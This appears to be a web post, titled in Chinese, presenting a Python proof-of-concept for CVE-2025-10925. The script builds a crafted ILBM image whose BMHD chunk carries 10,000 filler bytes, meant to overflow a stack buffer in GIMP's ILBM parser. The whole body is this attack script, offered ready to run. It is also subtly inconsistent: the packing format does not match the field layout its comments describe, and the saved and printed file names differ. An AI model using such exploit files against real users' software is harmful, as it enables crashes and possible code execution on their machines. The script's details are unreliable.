CVE-2025-10925 GIMP ILBM文件解析栈缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-10925 PoC - GIMP ILBM Stack Buffer Overflow # Generate malicious ILBM file to trigger stack-based buffer overflow import struct def create_malicious_ilbm(): # ILBM file header bmhd_chunk = b'BMHD' # BitMap Header chunk type # Malicious BMHD data - crafted to overflow buffer # Standard BMHD is 20 bytes, but we provide excessive data width = 320 height = 200 bitplanes = 24 # Create BMHD chunk with oversized data bmhd_data = struct.pack('>HHBBHHHHBBHH', width, # w - width height, # h - height 0, # x - x position 0, # y - y position bitplanes, # nplanes - number of planes 0, # masking 0, # compression 0, # transparent color 0, # x aspect 0, # y aspect width, # page width height # page height ) # Add padding and overflow data overflow_payload = b'A' * 10000 # Large payload to overflow stack buffer bmhd_data += overflow_payload # Chunk size (including itself but not the size field) chunk_size = len(bmhd_data) # ILBM file structure ilbm_file = b'FORM' # IFF container ilbm_file += struct.pack('>I', 8 + 8 + chunk_size) # Total file size ilbm_file += b'ILBM' # ILBM type ilbm_file += bmhd_chunk ilbm_file += struct.pack('>I', chunk_size) ilbm_file += bmhd_data return ilbm_file if __name__ == '__main__': malicious_file = create_malicious_ilbm() with open('CVE-2025-10925 malicious.ilbm', 'wb') as f: f.write(malicious_file) print('[+] Malicious ILBM file created: CVE-2025-10925_malicious.ilbm') print('[+] This file triggers stack buffer overflow in GIMP ILBM parser')